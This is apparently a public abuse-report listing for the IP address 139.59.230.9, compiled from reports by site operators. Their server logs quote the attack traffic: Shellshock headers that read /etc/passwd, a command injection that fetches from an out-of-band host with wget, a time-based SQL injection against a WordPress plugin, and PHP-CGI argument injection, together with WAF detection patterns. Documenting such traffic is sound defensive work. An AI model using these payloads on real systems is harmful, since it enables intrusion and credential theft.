2025-04-11 15:04:10
(1 year ago)
[Drupal AbuseIPDB module] Request path is blacklisted. /wp-admin/admin-ajax.php
Web App Attack
🇩🇪
kais-universum.de
2025-04-11 07:05:03
(1 year ago)
Failed login attempt detected by Fail2Ban in plesk-modsecurity jail
Exploited Host
2025-04-11 04:24:58
(1 year ago)
139.59.230.9 - - [11/Apr/2025:06:24:56 +0200] "GET /cgi-bin/stats HTTP/1.1" 301 5563 "() { ignored; ...
show more
139.59.230.9 - - [11/Apr/2025:06:24:56 +0200] "GET /cgi-bin/stats HTTP/1.1" 301 5563 "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" "Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
139.59.230.9 - - [11/Apr/2025:06:24:56 +0200] "GET /test.cgi HTTP/1.1" 301 5558 "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0"
139.59.230.9 - - [11/Apr/2025:06:24:56 +0200] "GET /cgi-bin/test HTTP/1.1" 301 5562 "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0"
139.59.230.9 - - [11/Apr/2025:06:24:56 +0200] "GET /debug.cgi HTTP/1.1" 301 5559 "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0
...
show less
Bad Web Bot
2025-04-11 02:07:21
(1 year ago)
Ports: 80,443; Direction: 0; Trigger: LF_MODSEC
Brute-Force
SSH
🇳🇱
ParaBug
2025-04-10 23:48:15
(1 year ago)
139.59.230.9 - - [11/Apr/2025:01:48:14 +0200] "GET /etc/passwd HTTP/1.1" 400 392 "-" "-"
...
Phishing
Brute-Force
Web App Attack
🇹🇷
rtbh.com.tr
2025-04-10 20:06:02
(1 year ago)
list.rtbh.com.tr report: tcp/0
Brute-Force
🇫🇷
COMAITE
2025-04-10 14:45:17
(1 year ago)
PHP CGI-bin vulnerability attempt.
Web App Attack
🇩🇪
bsoft.de
2025-04-10 04:04:53
(1 year ago)
[Thu Apr 10 06:04:52.251258 2025] [cgi:error] [pid 4621] [client 139.59.230.9:43586] AH02811: script ...
show more
[Thu Apr 10 06:04:52.251258 2025] [cgi:error] [pid 4621] [client 139.59.230.9:43586] AH02811: script not found or unable to stat: /srv/www/cgi-bin/stats, referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Thu Apr 10 06:04:52.251255 2025] [cgi:error] [pid 4632] [client 139.59.230.9:43570] AH02811: script not found or unable to stat: /srv/www/cgi-bin/status, referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Thu Apr 10 06:04:52.251255 2025] [cgi:error] [pid 4631] [client 139.59.230.9:43552] AH02811: script not found or unable to stat: /srv/www/cgi-bin/test.cgi, referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
show less
Web App Attack
🇨🇴
adalbertoreyes.org
2025-04-10 01:37:09
(1 year ago)
CategoryPortScan
Port Scan
🇩🇪
SpaceHost-Server
2025-04-09 22:26:23
(1 year ago)
Brute-Force
Web App Attack
2025-04-09 20:26:51
(1 year ago)
139.59.230.9 - - [09/Apr/2025:20:26:50 +0000] "GET /backupmgt/localJob.php?session=fail;wget+http:// ...
show more
139.59.230.9 - - [09/Apr/2025:20:26:50 +0000] "GET /backupmgt/localJob.php?session=fail;wget+http://cvr27bighf4scuqfvvcgcem9ez3388kby.oast.pro; HTTP/1.1" 404 3179 "-" "Mozilla/5.0 (SS; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0"
...
show less
Brute-Force
🇹🇷
rtbh.com.tr
2025-04-09 20:06:00
(1 year ago)
list.rtbh.com.tr report: tcp/0
Brute-Force
🇩🇪
macrob
2025-04-09 08:12:11
(1 year ago)
2025/04/09 08:12:07 [error] 2547329#2547329: *16606666 access forbidden by rule, client: 139.59.230. ...
show more
2025/04/09 08:12:07 [error] 2547329#2547329: *16606666 access forbidden by rule, client: 139.59.230.9, server: 100fs.org, request: "POST /wp-content/plugins/wsecure/wsecure-config.php HTTP/1.1", host: "100fs.org"
2025/04/09 08:12:10 [error] 2547329#2547329: *16606793 access forbidden by rule, client: 139.59.230.9, server: 100fs.org, request: "POST /webadmin/auth/verification.php HTTP/1.1", host: "100fs.org", referrer: "100fs.org/webadmin/start/"
2025/04/09 08:12:10 [error] 2547329#2547329: *16606808 access forbidden by rule, client: 139.59.230.9, server: 100fs.org, request: "GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=1)+AND+(SELECT+1183+FROM+(SELECT(SLEEP(6)))UPad)+AND+(9752=9752&type=json HTTP/1.1", host: "100fs.org"
...
show less
Web App Attack
🇺🇸
TPI-Abuse
2025-04-09 02:22:15
(1 year ago)
(mod_security) mod_security (id:221260) triggered by 139.59.230.9 (-): 1 in the last 300 secs; Ports ...
show more
(mod_security) mod_security (id:221260) triggered by 139.59.230.9 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Apr 08 22:22:07.998666 2025] [security2:error] [pid 9339:tid 9339] [client 139.59.230.9:36902] [client 139.59.230.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||brupharm.eu|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "brupharm.eu"] [uri "/cgi-bin/status/status.cgi"] [unique_id "Z_XZz6_0rXRIUQzP9wrkQwAAAAQ"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-04-09 01:19:49
(1 year ago)
(mod_security) mod_security (id:218420) triggered by 139.59.230.9 (-): 1 in the last 300 secs; Ports ...
show more
(mod_security) mod_security (id:218420) triggered by 139.59.230.9 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Apr 08 21:19:43.391357 2025] [security2:error] [pid 3530934:tid 3530934] [client 139.59.230.9:54058] [client 139.59.230.9] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||alfadventurecenter.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "alfadventurecenter.org"] [uri "/index.php"] [unique_id "Z_XLL3Ual-rvcgeCYPuc3AAAACM"]
show less
Brute-Force
Bad Web Bot
Web App Attack